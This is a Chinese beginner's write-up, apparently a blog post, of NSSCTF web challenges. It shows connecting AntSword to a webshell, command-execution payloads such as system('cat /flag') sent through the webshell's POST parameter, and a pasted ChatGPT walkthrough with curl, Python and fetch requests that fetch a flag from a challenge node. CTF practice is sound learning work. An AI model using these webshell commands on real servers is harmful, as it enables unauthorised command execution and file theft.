NSSCTF web刷题

1

虽然找到了flag,但是我要怎么去改他的代码,让他直接输出flag呢?

(好像是要得到他的json代码,这题不让看)

2

wllm应该就是他的密码,进入许可了

意思是服务器可以执行通过POST的请求方式传入参数为wllm的命令,那这就是典型的命令执行,当然,也可以使用蚁剑或者菜刀连接这个木马

antsword

右键直接连接

在根目录下就有一个flag藏着

hackbar

ctrl+u查看源码,好看一点

wllm=var_dump(file_get_contents("/flag"));

wllm=system('cat /flag');

两种源码

var_dump()函数用于输出变量的相关信息
file_get_contents()函数用于读取文件

3

强大的ai

进来可以看见就是源码

gpt给的答案

这段 PHP 代码主要用于处理两个输入参数 (idjson),并在满足特定条件时输出一个变量 $flag 的内容。以下是代码逐行分析:


1. highlight_file('index.php');

  • 作用 : 这行代码会将当前文件 (index.php) 的内容以高亮的形式输出到网页上。
  • 用途: 通常用于调试,或者作为一个挑战(比如 CTF),让用户能看到代码内容。

2. include("flag.php");

  • 作用 : 包含一个名为 flag.php 的文件。

  • 隐患 : 如果 flag.php 文件被泄露或包含敏感信息(比如 $flag 的定义),可能会导致漏洞。

  • 假设 flag.php 文件的内容类似于:

    复制代码

    php

    复制代码

    <?php $flag = "FLAG{example_flag}"; ?>


3. $id=$_POST['id'];

  • 作用 : 从 HTTP POST 请求中获取参数 id 的值并赋值给 $id
  • 隐患: 如果未对输入进行校验,可能会导致不安全的行为,但此处代码仅比较字符串,暂未看到明显漏洞。

4. $json=json_decode($_GET['json'],true);

  • 作用 : 从 HTTP GET 请求中获取参数 json 的值,并将其作为 JSON 解码为 PHP 数组,存储到 $json 变量中。
  • 隐患 : 如果解码失败(如传入的不是合法的 JSON),$json 将是 null,这可能导致后续代码错误。

5. if ($id=="wllmNB"&&$json['x']=="wllm")

  • 作用 : 检查 $id$json['x'] 是否同时满足指定条件:
    • $id 的值必须是字符串 "wllmNB";
    • $json['x'] 的值必须是字符串 "wllm"

6. {echo $flag;}

  • 作用 : 如果条件满足,则输出 $flag 的内容。

总结分析

  • 功能:

    • 脚本的作用是输出 $flag,前提是满足条件 $id == "wllmNB"$json['x'] == "wllm"
  • 潜在漏洞:

    1. 文件包含敏感数据 : 如果 flag.php 的内容意外暴露,攻击者可能直接获取到 $flag
    2. 未验证的用户输入 :
      • 虽然 json_decode() 是一种解析输入的方法,但其行为依赖于用户传入的 JSON 数据,如果攻击者能够构造合法的 JSON,可能绕过其他限制。
    3. 代码逻辑过于简单 : 一旦攻击者了解了判断逻辑,直接伪造请求即可拿到 $flag
  • 如何利用:

    1. 构造一个 POST 请求,其中 id="wllmNB"

    2. 构造一个 GET 请求,其中 json={"x":"wllm"}

    3. 请求示例:

      复制代码

      bash

      复制代码

      POST /index.php?id=wllmNB&json={"x":"wllm"}
      或者:

      复制代码

      perl

      复制代码

      curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"

  • 建议改进:

    1. 避免在源码中直接输出敏感信息。
    2. 使用更加复杂的验证逻辑,避免简单暴力的字符串匹配。
    3. 针对用户输入的 JSON 数据和 POST 数据增加验证,确保不会被伪造请求绕过。

真猛,我的天

1. 使用 curl 命令行工具

curl 是一个非常强大的命令行工具,用于发送 HTTP 请求。

构造 POST 请求
复制代码

bash

复制代码

curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"

解释
  • -X POST 指定 HTTP 方法为 POST。
  • -d "id=wllmNB" 指定 POST 的数据(id=wllmNB)。
  • http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D
    • json=%7B%22x%22%3A%22wllm%22%7D 是 URL 编码的 JSON 参数 {"x":"wllm"}

2. 使用 Postman

Postman 是一个用户友好的界面工具,非常适合测试 HTTP 请求。

步骤
  1. 下载并安装 Postman.

  2. 创建一个新请求。

  3. 设置请求方式为 POST

  4. 在 URL 栏中输入目标地址,例如:

    复制代码

    arduino

    复制代码

    http://example.com/index.php

  5. 在请求参数部分:

    • Body: 选择 x-www-form-urlencoded
    • 添加键值对:id = wllmNB
  6. 在 Query Params 添加键值对:json = {"x":"wllm"}

  7. 点击 Send,观察返回结果。


3. 使用浏览器控制台

你也可以在浏览器的开发者工具中发送请求。

步骤
  1. 打开浏览器,按 F12 或右键选择 检查,进入开发者工具。

  2. 转到 Console(控制台)。

  3. 输入以下代码:

    复制代码

    javascript

    复制代码

    fetch('http://example.com/index.php?json={"x":"wllm"}', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));

  4. 按回车,观察控制台输出的返回结果。


4. 使用 Python (Requests 库)

如果你熟悉 Python,可以用 requests 库发送请求。

代码示例
复制代码

python

复制代码

import requests url = "http://example.com/index.php" params = {"json": '{"x":"wllm"}'} data = {"id": "wllmNB"} response = requests.post(url, params=params, data=data) print(response.text)

运行
  1. 确保安装了 requestspip install requests
  2. 运行上述代码。

推荐工具

  • 如果你熟悉命令行,使用 curl
  • 如果需要可视化界面,使用 Postman
  • 如果你是开发者,推荐使用 Python 的 Requests 库或浏览器控制台。

试一下

这...

ai强大

curl -X POST -d "id=wllmNB" "http://node7.anna.nssctf.cn:21519?json={"x"%3A"wllm"}"

python 复制代码
import requests

url = "http://node7.anna.nssctf.cn:21519/"
params = {"json": '{"x":"wllm"}'}
data = {"id": "wllmNB"}

response = requests.post(url, params=params, data=data)
print(response.text)
javascript 复制代码
fetch('http://node7.anna.nssctf.cn:21519?json={"x":"wllm"}', { 
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'id=wllmNB'
}).then(response => response.text()).then(data => console.log(data));

猛!三个传参的办法

后面再学,今天先摆~

相关推荐
孤鲸落屿1 分钟前
第十章 作业
开发语言·前端·javascript
retun_true21 分钟前
Element UI 打包探索【2】
前端·javascript·node.js
王将近26 分钟前
Cesium实现3D热力图
前端·cesium
沉默璇年33 分钟前
react中的useCallback 有什么作用?
前端·react.js·前端框架
爱学习的执念33 分钟前
如何使用Jest测试你的React组件
前端·react.js·前端框架
少年姜太公37 分钟前
从0开始完全掌握JS中的原型
前端·javascript·程序员
乐容40 分钟前
react 中解决 类型“never”上不存在属性“value”。
前端·react.js·前端框架
木子七1 小时前
vue2-路由Router
前端·vue
知野小兔1 小时前
【Angular】eventDispatcher详解
前端·javascript·angular.js
苦逼的猿宝2 小时前
Echarts中柱状图完成横向布局
前端·javascript·echarts